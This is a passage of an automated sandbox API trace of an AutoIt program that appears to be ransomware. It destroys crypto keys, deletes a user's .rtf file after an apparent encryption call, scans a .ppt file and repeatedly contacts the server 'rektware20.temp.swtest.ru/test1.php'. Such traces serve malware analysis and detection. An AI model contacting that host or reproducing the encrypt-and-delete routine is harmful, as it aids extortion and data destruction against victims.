lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.503] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0073.503] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0073.504] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0073.504] CryptDestroyKey (hKey=0x164c2f0) returned 1 [0073.504] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.504] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.504] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.504] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.504] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.504] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.504] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.504] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.504] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.504] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0073.504] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.504] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.504] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.504] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.505] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.505] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.505] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.505] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.505] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.505] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.505] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.505] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.505] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.505] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.505] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.505] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.505] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.505] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.505] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0073.506] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0073.506] CryptReleaseContext (hProv=0x17aa6f8, dwFlags=0x0) returned 1 [0073.506] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.506] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.506] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.506] FreeLibrary (hLibModule=0x74c60000) returned 1 [0073.506] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.506] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.506] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.506] CloseHandle (hObject=0x3d0) returned 1 [0073.520] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.520] CloseHandle (hObject=0x3ac) returned 1 [0073.524] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.526] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.526] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", lpFilePart=0x0) returned 0x40 [0073.527] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\3jqcopyzi.rtf")) returned 0x20 [0073.527] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c430 [0073.527] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\3jqcopyzi.rtf")) returned 1 [0073.530] FindNextFileW (in: hFindFile=0x164c430, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0073.530] FindClose (in: hFindFile=0x164c430 | out: hFindFile=0x164c430) returned 1 [0073.531] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.531] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.531] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.531] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.531] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0073.531] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.531] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.531] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0073.531] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.531] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0073.531] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0073.532] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ef8c) returned 1 [0073.532] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.532] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.532] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.533] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0073.533] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0073.533] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0073.533] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0073.533] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0073.533] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.533] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.533] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.533] CloseHandle (hObject=0x0) returned 0 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LEyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EyTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yTaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TaIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aIf\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="If\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eFD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FD8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.535] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.536] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vlkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.536] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lkht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.536] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.536] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ht.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.536] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.536] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.536] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.536] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.536] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0073.536] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.536] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0073.536] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0073.536] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.536] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0073.536] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0073.536] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f10, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f10, lpdwBufferLength=0x130ee1c) returned 1 [0073.536] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, 